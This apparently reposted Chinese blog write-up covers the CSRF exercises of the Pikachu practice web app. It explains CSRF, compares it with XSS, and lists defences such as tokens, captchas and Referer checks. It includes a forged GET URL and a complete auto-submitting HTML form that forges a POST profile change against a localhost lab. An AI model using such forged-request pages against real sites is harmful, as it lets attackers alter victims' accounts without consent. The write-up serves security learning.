pikachu-CSRF

Posted Bin-go

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了pikachu-CSRF相关的知识，希望对你有一定的参考价值。

CSRF(跨站请求伪造)概述
    Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，
　　 用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
    这里列举一个场景解释一下，希望能够帮助你理解。
    场景需求：
    小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
    先看下大白是如何修改自己的密码的：
    登录---修改会员信息，提交请求---修改成功。
    所以小黑想要修改大白的信息，他需要拥有：1，登录权限 2，修改个人信息的请求。
    但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？
    于是他自己跑到www.xx.com上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：
    【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
    于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。
    为啥小黑的操作能够实现呢。有如下几个关键点：
    1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;
    ---因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。
    2.小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;
    ---如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。
    ---因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。
    当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做： 欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，
　　 小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。
    ---所以跟上面比一下，就可以看出CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS是直接盗取到了用户的权限，然后实施破坏。 
    因此，网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
    --对敏感信息的操作增加安全的token；
    --对敏感信息的操作增加安全的验证码；
    --对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。

  • CSRF(get)

get出现在url中可以伪造
登录个人主页修改个人信息进行bp抓包，发现信息并没有CSRF的token，说明没有进行CSRF的防范。
GET //pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=123456789&add=%E5%B0%8F%E9%BB%91%E5%B8%82%E5%8C%BA&email=123%40qq.com&submit=submit HTTP/1.1
对链接进行伪造，如果登录状态或cookie/session没有过期，点击后信息就会被修改
127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=6666666&add=%E5%B0%8F%E9%BB%91%E5%B8%82%E5%8C%BA&email=xiaobai%40qq.com&submit=submit

  • CSRF(post)

登录后用bp抓包，post型，因为是请求体，不能在url中，所以无法再使用上述办法（即通过URL来伪造请求)进行修改。
所以构造钓鱼网站，用户点击后信息就会被更改。

代码如下：
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Firefox">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>csrf_post</title>
    <script>
        window.onload = function()
            document.getElementById("postsubmit").click();
        
    </script>
</head>
<body>
    <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
        <input type="text" name="sex" value="男"><br>
        <input type="hidden" name="phonenum" value="666666"><br>
        <input type="hidden" name="add" value="china"><br>
        <input type="hidden" name="email" value="xiaohei"><br>
        <input id="postsubmit" type="submit" name="submit" value="submit">
    </form>
</body>
</html>

  • CSRF(token)

    对其抓包后从url中发现token_get_edit.php，执行后端代码生成Token并且发送到前端页面。
点击submit时，我们会将从后端发过来的Token和我们所要提交的数据，以表单的形式一并发送到后端服务器，后端服务器会验证此Token。
我们发现在get请求提交的基础上增加了Token，当我们刷新页面时Token值会发生变化，这样也就完全防止了GRSF漏洞的产生。
GET //pikachu/vul/csrf/csrftoken/token_get_edit.php?

  • CSRF常见防御方法

1.验证码防御
验证码防御被认为是对抗CSRF最为简单而且有效的防御方法。
CSRF在用户不知情的情况下完成对应操作，而验证码强制用户与应用程序交互，才能最终完成操作。通常情况下，验证码能够很好的遏制CSRF。
2.Referer Check防御
Referer Check主要用于防止盗链。同理也可以用来检查请求是否来自合法的“源”。
比如用户修改密码，一定是在登录系统后台之后进行操作。所以在修改提交表单的时候，一定会从系统后台页面提交。携带Referer头。如果Referer不是当前系统的域，那么极有可能遭受CSRF。
缺陷：服务器并非任何时候都可以取到Referer。例如HTTPS跳转到HTTP。
3.Anti CSRF Token防御
CSRF本质原因：重要操作的所有参数都是被恶意攻击者猜测到的。
那么防御措施就是生成一个随机且不被轻易猜测的参数。目前大多数防御都采用token（不可预测）。
4.Token泄露
例如：GET型Token泄露
页面包含 那么请求中的Referer就会携带对应的GET Token。
例如：POST型Token泄露
利用XSS漏洞读取Cookie，获取存储在其中的Token值。

　　

以上是关于pikachu-CSRF的主要内容，如果未能解决你的问题，请参考以下文章

Pikachu-CSRF（跨站请求伪造）

Pikachu-CSRF（跨站请求伪造）

Pikachu-CSRF(跨站请求伪造)